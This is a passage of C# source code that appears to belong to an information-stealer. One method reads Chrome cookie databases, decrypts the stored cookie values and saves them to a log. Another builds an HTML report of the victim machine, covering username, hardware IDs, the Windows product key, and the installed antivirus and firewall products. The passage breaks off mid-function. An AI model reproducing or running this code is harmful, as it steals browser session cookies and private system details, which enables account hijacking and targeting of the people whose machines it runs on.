public static void Inizialize() { if (File.Exists(CombineEx.Combination(OSLibrary.GetOSBit(), "SQLite.Interop.dll"))) { _Logs.Clear(); for (int i = 0; i < ChromeCookiesSearcher.GetCookies.Count; i++) { int SafeIndex = i; if (File.Exists(ChromeCookiesSearcher.GetCookies[SafeIndex])) { try { using (var Connect = new SQLiteConnection($"Data Source={ChromeCookiesSearcher.GetCookies[SafeIndex]};pooling=false")) { Connect.Open(); using (var ComText = new SQLiteCommand("SELECT name, encrypted_value, path, expires_utc, last_access_utc, host_key FROM cookies", Connect)) { ComText.CommandType = CommandType.Text; using (SQLiteDataReader reader = ComText.ExecuteReader()) { if (!reader.HasRows) { continue; } else { while (reader.Read()) { _Logs.Add(new BaseCookies { Application = Path.GetFileNameWithoutExtension(ChromeCookiesSearcher.GetCookies[SafeIndex]), HostKey = (string)reader["host_Key"], Name = (string)reader["Name"], Path = (string)reader["path"], Expires_utc = (long)reader["expires_utc"], Last_access_utc = (long)reader["last_access_utc"], EncryptedValue = ChromeDecrypt.DecryptValue((byte[])reader["encrypted_value"], DataProtectionScope.LocalMachine) }); } } } } SQLiteConnection.ClearPool(Connect); } } catch (SQLiteException) { continue; } catch (FormatException) { continue; } catch (ArgumentException) { continue; } catch (IndexOutOfRangeException) { continue; } catch (DllNotFoundException) { continue; } } } Ccleaner.DeltaLogs("Cookies"); foreach (BaseCookies ss in _Logs) { SaveData.SaveFile(GlobalPath.CookiesLog, ss.ToString()); } } }
public static void CreateTable(string HomePath) { #region Main Table Log.Clear(); Log.AppendLine("<!DOCTYPE html>"); Log.AppendLine("<html>"); Log.AppendLine("<head>"); Log.AppendLine("<title>SystemInfo</title>"); Log.AppendLine("<link rel=\"icon\" type=\"image/png\" href=\"http://s1.iconbird.com/ico/0612/customicondesignoffice2/w48h481339870371Personalinformation48.png\" sizes=\"32x32\">"); Log.AppendLine("</head>"); Log.AppendLine("<body style=\"width:100%; height:100%; margin: 0; background: url(http://radiographer.co.il/wp-content/uploads/2015/11/backgroundMain.jpg) #191919\">"); Log.AppendLine("<center><h1 style=\"color:#85AB70; margin:50px 0\">Computer Information System</h1></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">Operating system: </span><span style=\"color:#BA9201\">{OSLibrary.osVersion} [ {OSLibrary.GetName()} {OSLibrary.GetEdition()} ] </span></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">Computer Name: </span><span style=\"color:#BA9201\">{OSLibrary.MachineName}</span></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">Username: </span><span style=\"color:#BA9201\">{OSLibrary.UserName}</span></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">Logic Processors: </span><span style=\"color:#BA9201\">{OSLibrary.ProcessorCount}</span></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">System Directory: </span><span style=\"color:#BA9201\">{OSLibrary.SystemDir}</span></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">System capacity: </span><span style=\"color:#BA9201\">{OSLibrary.GetOSBit()}</span></center>"); #endregion try { using (ManagementObjectCollection Secret = new ManagementObjectSearcher(@"root\CIMV2", "SELECT * FROM Win32_Processor").Get()) { foreach (ManagementBaseObject cr in Secret) { string ProcessorName = cr["Name"]?.ToString(); string ProcID = cr["ProcessorId"]?.ToString(); Log.AppendLine($"<center><span style=\"color:#6294B3\">CPU: </span><span style=\"color:#BA9201\">{ProcessorName} [ <a title=\"Manufacturer: {ProcessorName}\"</span>{ProcessorName} ]</a title></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">Processor ID: </span><span style=\"color:#BA9201\">{ProcID}</center>"); break; } } } catch { } try { using (ManagementObjectCollection MonitorEx = new ManagementObjectSearcher(@"root\CIMV2", "SELECT * FROM Win32_DesktopMonitor").Get()) { foreach (ManagementBaseObject queryObj in MonitorEx) { if (queryObj["ScreenWidth"] == null || queryObj["ScreenHeight"] == null) { continue; } Log.AppendLine($"<center><span style=\"color:#6294B3\">Screen resolution: </span><span style=\"color:#BA9201\">{queryObj["ScreenWidth"]} x {queryObj["ScreenHeight"]} Pixels</span></center>"); break; } } } catch { } using (ManagementObjectCollection OS = new ManagementObjectSearcher(@"root\CIMV2", "SELECT * FROM Win32_OperatingSystem").Get()) { foreach (ManagementBaseObject z in OS) { Log.AppendLine($"<center><span style=\"color:#6294B3\">Registered user: </span><span style=\"color:#BA9201\">{z["RegisteredUser"]?.ToString()}</span></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">Windows Serial Key: </span><span style=\"color:#BA9201\">{WinKey.GetWindowsProductKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "DigitalProductId")}</span></center>"); Log.AppendLine($"<center><span style=\"color:#6294B3\">Windows Product Code: </span><span style=\"color:#BA9201\">{z["SerialNumber"]?.ToString()}</span></center>"); break; } } try { using (ManagementObjectCollection Bios = new ManagementObjectSearcher(@"root\CIMV2", "SELECT * FROM Win32_BIOS").Get()) { foreach (ManagementBaseObject obj in Bios) { try { string BiosVersion = ((string[])obj["BIOSVersion"])[0]; string BiosVersionTwo = ((string[])obj["BIOSVersion"])[1]; string Manufacturer = obj["Manufacturer"]?.ToString(); if (((string[])obj["BIOSVersion"]).Length <= 1) { Log.AppendLine($"<center><span style=\"color:#6294B3\">Bios version: <span style=\"color:#BA9201\">{BiosVersion} [ <a title=\"Manufacturer: {0x2}\">{0x2}</a title> ]</span></center>"); } else { Log.AppendLine($"<center><span style=\"color:#6294B3\">Bios version: <span style=\"color:#BA9201\">{BiosVersion} - {BiosVersionTwo} [ <a title=\"Manufacturer: {Manufacturer}\">{Manufacturer}</a title> ]</span><span style=\"color:#BA9201\"></span></center>"); } } catch (OverflowException) { } break; } } } catch { } try { using (ManagementObjectCollection wmiData = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct").Get()) { foreach (ManagementBaseObject item in wmiData) { Log.AppendLine($"<center><span style=\"color:#6294B3\">Installed antivirus: </span><span style=\"color:#BA9201\">{item["displayName"]?.ToString()}</span></center>"); } } } catch { } try { using (ManagementObjectCollection FireWall = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM FirewallProduct").Get()) { foreach (ManagementBaseObject item in FireWall) { Log.AppendLine($"<center><span style=\"color:#6294B3\">Installed FireWall: </span><span style=\"color:#BA9201\">{item["displayName"]?.ToString()}</span></center>"); } } } catch { } try { using (ManagementObjectCollection TotalMemory = new ManagementObjectSearcher(@"root\CIMV2", "SELECT TotalPhysicalMemory FROM Win32_ComputerSystem").Get()) { foreach (ManagementBaseObject Total in TotalMemory) { try { string ConverterMB = Convert.ToString(Math.Round(Convert.ToDouble(Total["TotalPhysicalMemory"]) / 0x4000_0000 * 0x3E8, 0x2)); string ConverterGB = Convert.ToString(Math.Round(Convert.ToDouble(Total["TotalPhysicalMemory"]) / 0x4000_0000, 0x2)); if (!(Convert.ToDouble(Total["TotalPhysicalMemory"]?.ToString()) / 0x4000_0000 > 0x1)) { Log.AppendLine($"<center><span style=\"color:#6294B3\">Physical memory: </span><span style=\"color:#BA9201\">({ConverterGB} GB)</span></center>"); } else { Log.AppendLine($"<center><span style=\"color:#6294B3\">Physical memory: </span><span style=\"color:#BA9201\">({ConverterMB} MB)</span></center>"); } break; } catch (FormatException) { break; } catch (OverflowException) { break; } catch (IndexOutOfRangeException) { break; } catch (ArgumentOutOfRangeException) { break; } }